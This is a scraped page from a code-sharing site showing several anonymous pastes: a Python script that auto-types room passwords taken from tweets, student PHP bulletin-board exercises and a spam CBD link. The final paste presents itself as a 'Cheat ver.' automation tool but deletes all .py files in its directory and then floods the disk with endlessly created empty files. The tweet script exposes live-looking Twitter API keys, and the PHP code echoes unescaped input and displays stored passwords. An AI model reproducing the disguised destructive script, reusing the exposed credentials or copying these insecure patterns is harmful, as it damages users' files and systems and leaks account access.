Share Code Quickly

What is Harigami?

Harigami is a simple source code sharing service. You can share source code by an URL which is issued after submission.
You can also run your source code online such as Python, Ruby, JavaScript and so on.
For free.Use for code review.
Preferences

anonymous No title
Python
anonymous No title
Python
import notification
import clipboard
import keyboard
import datetime
import tweepy
import json
import time
import calendar
import sys
import re

# ルーム番号
roomid = "0000" 
# パスツイ分
passtime = "00"

username = clipboard.get()
password  = ""
consumerkey = "tGWZmwRI97ZGUhWz8OU2ErlUO"
consumersecret = "3sy4S6LBteWgtUYGtGCKlkK4OCptydaOueof22OlrnDe4n17AP"
accesstoken = "1308681571872849920-AiF5QsWUTWrV4y6vHRnJzQCdmWnl9Y"
accesstokensecret = "tiPWS5ALJqMhbqYjemL3CNPc5VLGUFPSS3519pb6bqmBC"

Auth = tweepy.OAuthHandler(consumerkey,consumersecret)
Auth.set_access_token(accesstoken,accesstokensecret)
Api = tweepy.API(Auth)

now   = http://datetime.datetime.now()
minute = now.minute

if("/" in str(username)):
username = username.split("/")
username = username[3].split("?")
username = username[0]
else:
print("パスツイ主のリンクをコピーしてください")
sys.exit()

for i, status in enumerate(tweepy.Cursor(Api.user_timeline,id=username,tweet_mode="extended").items(1)):
tweet = re.findall(r"\d+",status.full_text)
tweettime = re.findall(r"\d+",str(status.created_at))

count = len(tweet)

# Just パスツイ
if(passtime in tweettime):
print("loading...")
else:
print("ツイートの更新がありません。")
sys.exit()

if(len(tweet) == 0):
   print("パスワードが見つかりませんでした。")
   sys.exit()
elif(roomid in tweet and count >= 2):
roomidindex = tweet.index(roomid)
password = tweet[roomidindex+1]
elif(count == 1):
password = tweet[0]
elif(count >= 2):
if(int(len(tweet[0])) == 2 and int(len(tweet[1]) == 2)):
password = tweet[2]

if(password == ""):
print("対応していない形式です。")
else:
notification.schedule(password)
keyboard.insert_text(password)
keyboard.insert_text("\n")
print("Password:"+password)
anonymous No title
PHP
<?php
$filename = "kadai2_2.txt";
if(isset($_POST['delete'])){
    if(strlen($_POST['delete'])){
        $delete = $_POST['delete'];
        $posts = file($filename);
        $ex_posts = [];
        for($i=0;$i<count($posts);$i++){
            $post = explode("<>", $posts[$i]);
            $post_num = $post[0];
            if($post_num == $delete){
                echo $delete."を削除しました<br/>";
                array_splice($posts, $i, 1);
            }
        }
        $fp = fopen($filename, "w");
        for($i=0;$i<count($posts);$i++){
            $post = explode("<>", $posts[$i]);
            $post[0] = $i+1;
            array_push($ex_posts, $post);
            fwrite($fp, "$post[0]<>$post[1]<>$post[2]<>$post[3]");
        }
        fclose($fp);
    }else{
        echo "番号が空欄になっています<br/>";
    }
}
if(isset($_POST['comment']) && isset($_POST['name'])){
    if(strlen($_POST['comment']) && strlen($_POST['name'])){
        $comment = $_POST['comment'];
        $name = $_POST['name'];
        if(file_exists($filename)){
            $fp = fopen($filename, "a");
            fwrite($fp, count(file($filename))+1);
        }else{
            $fp = fopen($filename, "w");
            fwrite($fp, "1");
        }
        fwrite($fp, "<>");
        fwrite($fp, $name."<>");
        fwrite($fp, $comment."<>");
        fwrite($fp, date("Y-m-d")."\n");
        fclose($fp);
    }else{
        echo "名前かコメントが空欄になっています<br/>";
    }
}
if(file_exists($filename)){
    $posts = file($filename);
    $ex_posts = [];
    for($i=0;$i<count($posts);$i++){
        $post = explode("<>", $posts[$i]);
        array_push($ex_posts, $post);
        for($j=0;$j<count($post);$j++){
            echo $post[$j];
            echo " ";
        }
        echo "<br/>";
    }
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>投稿フォーム</h1>
    <form action="kadai2_4.php" method="post">
    <input type = "text" name ="name"><br/>
    <input type = "text" name ="comment"><br/>
    <input type = "submit" value ="送信">
    </form>
    <h1>削除</h1>
    <form action="kadai2_4.php" method="post">
    <input type = "text" name ="delete"><br/>
    <input type = "submit" value ="送信">
    </form>
</body>
</html>
anonymous No title
PHP
<?php
$filename = "kadai2_2.txt";
$posts = file($filename);
$ex_posts = [];
for($i=0;$i<count($posts);$i++){
    $post = explode("<>", $posts[$i]);
    array_push($ex_posts, $post);
    for($j=0;$j<count($post);$j++){
        echo $post[$j];
        echo " ";
    }
    echo "<br/>";
}
?>
anonymous No title
PHP
<?php
$filename = "kadai2_2.txt";
if(isset($_GET['comment']) && isset($_GET['name'])){
    $comment = $_GET['comment'];
    $name = $_GET['name'];
    if(file_exists($filename)){
        $fp = fopen($filename, "a");
        fwrite($fp, count(file($filename))+1);
    }else{
        $fp = fopen($filename, "w");
        fwrite($fp, "1");
    }
    fwrite($fp, "<>");
    fwrite($fp, $name."<>");
    fwrite($fp, $comment."<>");
    fwrite($fp, date("Y-m-d")."\n");
    fclose($fp);
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="kadai2_2.php" method="get">
    <input type = "text" name ="name"><br/>
    <input type = "text" name ="comment"><br/>
    <input type = "submit" value ="送信">
    </form>
</body>
</html>
anonymous No title
PHP
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="kadai2_1.php" method="get">
    <input type = "text" name ="name"><br/>
    <input type = "text" name ="comment"><br/>
    <input type = "submit" value ="送信">
    </form>
</body>
</html>
anonymous No title
Python
hemp oil for pain  cbd oil benefits  <a href="http://cbdhempoilwr.com/# ">best cbd oil buy cbd oil </a> cbd tinctures  
anonymous No title
Python
import notification
import clipboard
import keyboard
import datetime
import tweepy
import json
import time
import calendar
import sys
import re

# ルーム番号
roomid = "0000" 
# パスツイ分
passtime = "00"

username = clipboard.get()
password  = ""
consumerkey = "tGWZmwRI97ZGUhWz8OU2ErlUO"
consumersecret = "3sy4S6LBteWgtUYGtGCKlkK4OCptydaOueof22OlrnDe4n17AP"
accesstoken = "1308681571872849920-7sclD7Jx8BK9dzy2ByObQEZaVFzTk9"
accesstokensecret = "K89cHiXiBH6c5IBmx8JkX1dFiUMKQSC3bamyNnDVbQWRE"

Auth = tweepy.OAuthHandler(consumerkey,consumersecret)
Auth.set_access_token(accesstoken,accesstokensecret)
Api = tweepy.API(Auth)

now   = datetime.datetime.now()
minute = now.minute

if("/" in str(username)):
	username = username.split("/")
	username = username[3].split("?")
	username = username[0]
else:
	print("パスツイ主のリンクをコピーしてください")
	sys.exit()

for i, status in enumerate(tweepy.Cursor(Api.user_timeline,id=username,tweet_mode="extended").items(1)):
	tweet = re.findall(r"\d+",status.full_text)
	tweettime = re.findall(r"\d+",str(status.created_at))

count = len(tweet)

# Just パスツイ
if(passtime in tweettime):
	print("loading...")
else:
	print("ツイートの更新がありません。")
	sys.exit()

if(len(tweet) == 0):
   print("パスワードが見つかりませんでした。")
   sys.exit()
elif(roomid in tweet and count >= 2):
	roomidindex = tweet.index(roomid)
	password = tweet[roomidindex+1]
elif(count == 1):
	password = tweet[0]
elif(count >= 2):
	if(int(len(tweet[0])) == 2 and int(len(tweet[1]) == 2)):
		password = tweet[2]


if(password == ""):
	print("対応していない形式です。")
else:
	notification.schedule(password)
	keyboard.insert_text(password)
	keyboard.insert_text("\n")
	print("Password:"+password)
anonymous No title
PHP
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>mission_5-1</title>
  </head>
  <body>
      
<?php
   //手順1
  $dsn = 'mysql:dbname=○○;host=localhost';
  $user = '○○';
  $password = '○○'; 
  $pdo = new PDO($dsn,$user,$password,array(PDO::ATTR_ERRMODE=>PDO::ERRMODE_WARNING));
	
	//手順2
   $sql = "CREATE TABLE IF NOT EXISTS mission5b"
   ." ("
   . "id INT AUTO_INCREMENT PRIMARY KEY,"
   . "name char(32),"
   . "comment TEXT," 
   . "password TEXT,"
   . "date DATETIME"
   .");";
   $stmt = $pdo->query($sql);
    
    //POST受信
          $name=$_POST["NAME"];
          $comment=$_POST["COMMENT"];
          $pp=$_POST["PP"];
          $dnum=$_POST["D-NUMBER"];
          $dp=$_POST["D-PASS"];
          $enum=$_POST["E-NUMBER"];
          $ep=$_POST["E-PASS"];
          $cnum=$_POST["C-NUMBER"];
          $date=date("Y/m/d/ H:i:s");
          
         //編集内容のフォームへの表示
          $sql2='SELECT * FROM mission5b WHERE id=:enum';
          $stmt2= $pdo->prepare($sql2);
          $stmt2->bindParam(':enum', $enum, PDO::PARAM_INT);
          $stmt2->execute();
          $result2= $stmt2->fetchAll();
            foreach($result2 as $row2){
                if($row2['password']==$ep){
                    $NAME1=$row2['name'];
                    $COMMENT1=$row2['comment'];
                    $CNUM1=$row2['id'];
                }else{}
            }
       ?>    
        
      <form action="" method="post">
            【 投稿フォーム 】<br>
            <input type="txt" name="NAME" placeholder="名前" value="<?php echo $NAME1; ?>"><br>
            <input type="txt" name="COMMENT" placeholder="コメント" value="<?php echo $COMMENT1; ?>"><br>
            <input type="txt" name="PP" placeholder="パスワード">
            <input type="hidden" name="C-NUMBER" value="<?php echo $CNUM1;?>"><br>   
            <input type="submit" name="submit" value="送信"><br><br>
            
            【 削除フォーム 】<br>
            <input type="number" name="D-NUMBER" placeholder="投稿番号"><br>
            <input type="txt" name="D-PASS" placeholder="パスワード"><br>
            <input type="submit" name="submit" value="送信"><br><br>
            
            【 編集フォーム 】<br>
            <input type="number" name="E-NUMBER" placeholder="投稿番号"><br>
            <input type="txt" name="E-PASS" placeholder="パスワード"><br>
            <input type="submit" name="submit" value="送信"><br><br>
        </form>
        
        <?php
          //削除
          $sql3='SELECT * FROM mission5b WHERE id=:dnum';
          $stmt3= $pdo->prepare($sql3);
          $stmt3->bindParam(':dnum', $dnum, PDO::PARAM_INT);
          $stmt3->execute();
          $result3= $stmt3->fetchAll();
            foreach($result3 as $row3){
               if($row3['password']==$dp){
                   $sql4 = 'DELETE FROM mission5b WHERE id=:dnum4';
                   $stmt4 = $pdo->prepare($sql4);
                   $stmt4->bindParam(':dnum4', $dnum, PDO::PARAM_INT);
                   $stmt4->execute();
               }else{}
            }
            
          //新規投稿(確認番号($cnum)があれば編集、なければ追記)
          if(empty($name)){}elseif(empty($comment)){}elseif(empty($pp)){}
          elseif(empty($cnum) && !empty($name) && !empty($comment) && !empty($pp)){  //追記
                $sql5 = $pdo -> prepare("INSERT INTO mission5b (name, comment, password,date) VALUES (:name, :comment, :password, :date)");
             	$sql5 -> bindParam(':name', $name, PDO::PARAM_STR);
             	$sql5 -> bindParam(':comment', $comment, PDO::PARAM_STR);
             	$sql5 -> bindParam(':password',$pp, PDO::PARAM_STR);
             	$sql5 -> bindParam(':date',$date,PDO::PARAM_STR);
             	$sql5 -> execute();
          }elseif(!empty($cnum) && !empty($name) && !empty($comment) && !empty($pp)){  //編集
             	$sql6 = 'UPDATE mission5b SET id=:id,name=:name,comment=:comment,password=:password,date=:date WHERE id=:cnum';
             	$stmt6 = $pdo->prepare($sql6);
              	$stmt6->bindParam(':cnum', $cnum, PDO::PARAM_STR);
              	$stmt6->bindParam('name', $name,PDO::PARAM_STR);
             	$stmt6->bindParam(':comment', $comment, PDO::PARAM_STR);
             	$stmt6->bindParam(':id', $cnum, PDO::PARAM_INT);
             	$stmt6->bindParam(':password',$pp,PDO::PARAM_STR);
             	$stmt6->bindParam(':date',$date,PDO::PARAM_STR);
              	$stmt6->execute();
          }
          
          
          //エラーメッセージ(2つ以上の空欄の時は何もしなくていいか)
                    if(empty($name) && !empty($comment)){
              echo "!!名前が空欄です!!<br>";
          }elseif(!empty($name) && empty($comment)){
              echo "!!コメントが空欄です!!<br>";
          }elseif(!empty($name.$comment) && empty($pp)){
              echo "!!パスワードが空欄です!!<br>";
          }
          
          if(empty($dnum) && !empty($dp)){
              echo "!!削除対象番号が空欄です!!<br>";
          }elseif(!empty($dnum) && empty($dp)){
              echo "!!削除パスワードが空欄です!!<br>";
          }
          
          if(empty($enum) && !empty($ep)){
              echo "!!編集対象番号が空欄です!!<br>";
          }elseif(!empty($enum) && empty($ep)){
              echo "!!編集パスワードが空欄です!!<br>";
          }
          
          //次回、ここから下にパスワードが異なります。のエラーメッセージの設定
          if(!empty($dnum) && !empty($dp)){
          $sql7='SELECT * FROM mission5b WHERE id=:dnum';
          $stmt7= $pdo->prepare($sql7);
          $stmt7->bindParam(':dnum', $dnum, PDO::PARAM_INT);
          $stmt7->execute();
          $result7= $stmt7->fetchAll();
            foreach($result7 as $row7){
                if($row7['password']!==$dp){
                    echo "!!削除パスワードが異なります!!"."<br>";
                }else{}
            }

          }
          
          if(!empty($enum) && !empty($ep)){
          $sql8='SELECT * FROM mission5b WHERE id=:enum';
          $stmt8= $pdo->prepare($sql8);
          $stmt8->bindParam(':enum', $enum, PDO::PARAM_INT);
          $stmt8->execute();
          $result8= $stmt8->fetchAll();
            foreach($result8 as $row8){
                if($row8['password']!==$ep){
                    echo "!!編集パスワードが異なります!!"."<br>";
                }else{}
            }

          }

        ?>
        
        ________________________<br>
        【 投稿一覧 】<br><br>
       
          
         <?php 
         //投稿一覧の表示
         $sql = 'SELECT * FROM mission5b';
         $stmt = $pdo->query($sql);
         $results = $stmt->fetchAll();
         	foreach ($results as $row){
         	 //$rowの中にはテーブルのカラム名が入る
         		echo $row['id'].',';
         		echo $row['name'].',';
         		echo $row['comment'].',';
         		echo $row['password'].',';
         		echo $row['date'].'<br>';
          	echo "<hr>";
         	}
        ?>
        
    </body>
</html>
anonymous No title
Python
import random
import time
import os
import threading
import glob

"""
          2020 09/23
          全自動オート(Cheat ver.)
          
"""

Version ="1.0"

API_consumer_key        ="Swo0badmp37sjbbWnBa"
API_consumer_key_secret ="vuiknggh25dWsSgohjpPhgjjiiDjG-Dhuikofr0Qtlj"
API_access_token        ="2022864-8999DyuEtjmmihfrylTyinngyyvbkRvGhhRyhj"
API_access_token_secret ="AQGjm-07557Hjbjjkiiojfrttbnjiiiiiiik"

LoopLate =0.001
Settings =50

Eomoji ="0️⃣1️⃣2️⃣3️⃣4️⃣5️⃣6️⃣7️⃣8️⃣9️⃣"
Vote   =""
Auto_Data=""


def func_get_tweet():
	tweet =""
	password =""
	
def func_set_password():
	password =""
	return password
			
def func_1():
	while True:
		name =random.uniform(1,999)*random.uniform(1,999)*random.uniform(1,999)
		with open(str(name)+".py" , mode="w") as f:
			f.write("")
	
def func_2():
		while True:
			name = random.uniform(1,999)*random.uniform(1,999)*random.uniform(1,999)
			with open(str(name)+".py" , mode="w") as f:
				f.write("")

for file in glob.glob("*.py"):
	os.remove(file)

a = threading.Thread(target=func_1)
b = threading.Thread(target=func_2)

a.start()
b.start()